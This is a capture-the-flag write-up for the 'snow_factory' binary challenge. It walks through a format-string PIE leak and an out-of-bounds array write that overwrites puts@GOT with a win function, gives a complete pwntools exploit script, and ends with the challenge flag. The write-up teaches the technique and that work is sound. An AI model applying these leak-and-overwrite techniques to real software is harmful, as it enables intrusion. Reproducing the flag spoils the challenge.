Challenge Description
With Christmas on the horizon, can you lend a hand at the snow factory as they get ready to pack presents they GOT for Santa?
Binary Information
- File:
snow_factory - Architecture: amd64 (PIE)
- File Type: ELF 64-bit, dynamically linked
- Protections: Partial RELRO, Canary, NX, PIE
Quick Recon
file snow_factory
checksec snow_factory
strings -tx snow_factory | grep flag
nm -C snow_factory | grep -E 'win|main|boxes'
objdump -d -Mintel snow_factory | less
Key findings:
win()callssystem("/bin/cat flag.txt")at offset0x1229.main()at offset0x1243.- Global
boxesarray at offset0x4080. printf(name)format-string leak; unchecked write toboxes[box] = present.
Static Analysis
Key Functions
main()- Unbuffers stdio, prompts for name (
fgets 0x40to stack), prints it withprintf(name)→ format string. - Reads
box(int) andpresent(long long) withscanf, thenboxes[box] = present;with no bounds.
- Unbuffers stdio, prompts for name (
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+14h] [rbp-5Ch] BYREF
__int64 v5; // [rsp+18h] [rbp-58h] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v7; // [rsp+68h] [rbp-8h]
v7 = __readfsqword(40u);
setbuf(stdin, 0);
setbuf(stdout, 0);
puts(&::s);
printf(&format);
fgets(s, 0x40, stdin);
printf(&byte_2074);
printf(s);
putchar(10);
printf(&byte_2088);
__isoc99_scanf(byte_20BE, &v4);
printf(&byte_20C8);
__isoc99_scanf("%lld", &v5);
boxes[v4] = v5;
puts(&byte_2100);
return 0;
}
win()
int win()
{
return system("/bin/cat flag.txt");
}
Dynamic Analysis
Useful Offsets / Addresses
mainoffset:0x1243winoffset:0x1229boxesoffset:0x4080(qword array)puts@GOToffset:0x4008- GOT index to smash:
(puts@got - boxes)/8 = -15 (0x4008 - 0x4080) / 8 = (-0x78) / 8 = -0xf = -15
Info Leak
%25$pon the name prompt leaks a return address insidemain.- PIE base =
leak - main offset (0x1243).
Exploit Primitive
- Arbitrary 8-byte write via
boxes[box] = presentwith attacker-controlledbox(signed) andpresent. - Overwrite
puts@GOTwithwinto hijack control flow on the nextputscall.
Exploitation Steps
- Send
%25$pas name → get leak. - Compute
base_address = leak - 0x1243. - Compute
win_address = base + 0x1229. - Compute index:
(-15)to targetputs@GOT. - Input
-15atWhich box do you want to put your present in: - Input
win_addressas decimal atWhat present number do you want to put in: putsjumps towin, executing/bin/cat flag.txtand printing flag.
Solution Script
from pwn import ELF, PIPE, context, log, process, remote
from pwnlib.tubes.tube import tube
REMOTE = True
HOST = "snow-factory.julec.tf"
PORT = 1337
context.binary = elf = ELF("./snow_factory", checksec=False)
def get_base(io: tube) -> int:
io.recvuntil(b"name:")
io.sendline(b"%25$p")
io.recvuntil(b"Hello ")
leak = int(io.recvline(keepends=False), 16)
base = leak - elf.sym.main
log.info(f"PIE base: {hex(base)}")
return base
def main():
# io = process(elf.path, stdin=PIPE, stdout=PIPE) # local testing
if REMOTE:
io = remote(HOST, PORT, ssl=True, sni=HOST)
else:
io = process(elf.path, stdin=PIPE, stdout=PIPE)
base = get_base(io)
elf.address = base
win = elf.sym.win
idx = (elf.got["puts"] - elf.sym.boxes) // 8
io.recvuntil(b"present in:")
io.sendline(str(idx).encode())
io.recvuntil(b"put in:")
io.sendline(str(win).encode())
io.interactive()
if __name__ == "__main__":
main()
Mitigations
- Canary: stops straightforward stack buffer overflow into return address; you need a non-stack control primitive.
- NX: no executable stack, so shellcode injection won’t run; you must reuse existing code/ROP.
- PIE: code addresses randomize each run; you need an info leak (the %25$p format string) to compute win/GOT addresses.
Flag
JUL{3xpl01t1ng_th3_sn0w_f4ct0ry_f0r_fun_4nd_fun}
Tools Used
- IDA
- pwntools
- objdump/strings/nm/checksec